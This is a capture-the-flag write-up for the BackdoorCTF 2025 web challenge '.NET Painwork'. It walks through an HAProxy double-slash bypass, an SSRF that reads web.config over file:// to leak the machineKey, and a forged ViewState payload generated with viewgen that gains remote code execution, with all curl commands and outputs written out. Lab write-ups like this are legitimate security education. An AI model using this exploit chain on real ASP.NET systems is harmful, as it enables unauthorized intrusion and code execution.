BackdoorCTF 2025WebSolved

.NET Painwork

PR
Prylo Team
December 7, 2025
5 min read

Competition

BackdoorCTF 2025

Difficulty

Hard

Points

356

Estimated Read

5 min

web.netviewstatedeserializationssrf
Key Takeaways

Critical concepts & techniques

  • Path Normalization Bypasses: Double slashes (`//`) can bypass proxy rules
  • SSRF with `file://` Protocol: Always check if `file://` is allowed in SSRF endpoints
  • machineKey Exposure = RCE: Never expose ASP.NET machineKey values
  • ViewState Attacks: With machineKey, ViewState can be weaponized for deserialization RCE
  • macOS Exploitation: `viewgen` tool works on macOS without needing Windows/.NET

I hate windows (there are two pages /login.aspx and /admin.aspx). This challenge involves bypassing authentication proxies, exploiting SSRF to leak machine keys, and forging malicious ViewState payloads for Remote Code Execution (RCE).

Challenge Overview

Field Value
URL http://4.188.81.42/login.aspx
Attachment public.zip

Tools Used

Tool Purpose Installation
curl HTTP requests Pre-installed on macOS/Linux
viewgen ViewState payload generation git clone https://github.com/0xacb/viewgen.git
monodis .NET DLL disassembly brew install mono (macOS)
grep/awk Text processing Pre-installed

Reconnaissance

Step 1: Analyze the Provided Files

Extract and examine the challenge files:

unzip public.zip
ls -la public/

Key files discovered:

  • login.aspx - Login page with password authentication
  • admin.aspx - Protected admin page with healthcheck functionality
  • health.ashx - HTTP handler for healthcheck (potential SSRF)
  • HealthHandler.cs - Source code for the health handler
  • bin/backdoor-chall.dll - Compiled application logic

Step 2: Decompile the DLL

Using monodis to examine the application logic:

monodis public/bin/backdoor-chall.dll > decompiled.il

Key findings from decompilation:

  1. Login Logic (LoginBtn_Click):
// Password is read from ADMIN_PASS environment variable
// Falls back to "letmein" if not set
string password = Environment.GetEnvironmentVariable("ADMIN_PASS") ?? "letmein";
  1. Admin Page Protection: Returns 403 for direct access

  2. CSRF Token Validation: Triple validation required:

    • Cookie: __AntiXsrfToken
    • Header: X-AntiXsrf
    • Session: ANTI_XSRF

Step 3: Identify the Attack Surface

From HealthHandler.cs:

// SSRF vulnerability - accepts arbitrary URLs including file://
using (var client = new WebClient())
{
    client.Headers.Add(HttpRequestHeader.UserAgent, "AdminHealthCheck-WebClient/1.0");
    content = await client.DownloadStringTaskAsync(target);
}

Exploitation

Step 1: Bypass HAProxy to Access Admin Page

The admin page returns 403 when accessed directly. Using path normalization bypass:

# Normal access - blocked
curl -v "http://4.188.81.42/admin.aspx"
# Returns: 403 Forbidden

# HAProxy bypass using double slash
curl -c cookies.txt "http://4.188.81.42//admin.aspx"
# Returns: 200 OK with admin page

Step 2: Extract CSRF Tokens and Session

# Get fresh session with valid tokens
curl -s -c cookies.txt "http://4.188.81.42//admin.aspx" -o admin_response.html

# Extract the CSRF token from cookies
CSRF=$(grep __AntiXsrf cookies.txt | awk '{print $7}')
echo "CSRF Token: $CSRF"

Step 3: Test SSRF Vulnerability

With valid session and CSRF tokens, test the SSRF:

# Read local files via file:// protocol
curl -s -b cookies.txt "http://4.188.81.42/health.ashx" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "X-AntiXsrf: $CSRF" \
  -d '{"url": "file:///C:/inetpub/wwwroot/Web.config"}'

Retrieved web.config with machineKey:

<machineKey
  validationKey="AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B"
  decryptionKey="AB4298433692C6911B75665DEFA47AD09EA856BE41879334"
  validation="SHA1"
  decryption="AES" />

Step 4: ViewState Deserialization Attack

With the machineKey, we can forge malicious ViewState payloads that execute arbitrary code on deserialization.

Get the ViewState Generator Value

From the admin page response, extract __VIEWSTATEGENERATOR:

<input type="hidden" name="__VIEWSTATEGENERATOR" value="67467B03" />

Generate Malicious ViewState Payload

Using viewgen to create an RCE payload:

# Generate payload that executes a command
python3 viewgen/viewgen \
  -c "dir C:\\inetpub\\wwwroot" \
  --vkey "AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B" \
  --valg "SHA1" \
  --dkey "AB4298433692C6911B75665DEFA47AD09EA856BE41879334" \
  --dalg "AES" \
  -m "67467B03" \
  -e

Parameters explained:

Parameter Value Description
-c Command to execute Passed to cmd.exe /c
--vkey AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B Validation key from machineKey
--valg SHA1 Validation algorithm
--dkey AB4298433692C6911B75665DEFA47AD09EA856BE41879334 Decryption key from machineKey
--dalg AES Decryption algorithm
-m 67467B03 ViewState generator value
-e - Enable encryption

Step 5: Execute the Payload

# Store the payload
PAYLOAD=$(python3 viewgen/viewgen -c "dir C:\\inetpub\\wwwroot" \
  --vkey "AC4DCFDDF3BB46EC1506BD671BEE55D5666B7B0B" \
  --valg "SHA1" \
  --dkey "AB4298433692C6911B75665DEFA47AD09EA856BE41879334" \
  --dalg "AES" \
  -m "67467B03" \
  -e 2>/dev/null)

# Send malicious ViewState to trigger deserialization
curl -s -b cookies.txt "http://4.188.81.42//admin.aspx" \
  -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "__VIEWSTATE=$PAYLOAD" \
  --data-urlencode "__VIEWSTATEGENERATOR=67467B03"

Step 6: Exfiltrate Command Output via SSRF

The RCE writes output to a file, which we read via SSRF:

# Command output revealed the flag file: flag_sn62nvdjk248sjdfnj.txt

# Read the flag using SSRF
curl -s -b cookies.txt "http://4.188.81.42/health.ashx" \
  -X POST \
  -H "Content-Type: application/json" \
  -H "X-AntiXsrf: $CSRF" \
  -d '{"url": "file:///C:/inetpub/wwwroot/flag_sn62nvdjk248sjdfnj.txt"}'

Response:

{
  "ok": true,
  "statusCode": 200,
  "snippet": "flag{tlqp8s5h_eurzla5g_feepuqi9_qsgmjxj5_mcmd2kt8}",
  "error": null
}

References

Attack Chain Visualization
1

HAProxy Bypass: `//admin.aspx` path normalization bypasses 403 restriction

2

SSRF in Health Handler: `file://` protocol reads local files including `web.config`

3

ViewState Deserialization: Forged ViewState with leaked machineKey executes arbitrary code

4

Data Exfiltration: RCE writes output to file which is read via SSRF

Flag (confidential)

Visible only after reveal

Want to check the flag? Click below to reveal it.

Related Writeups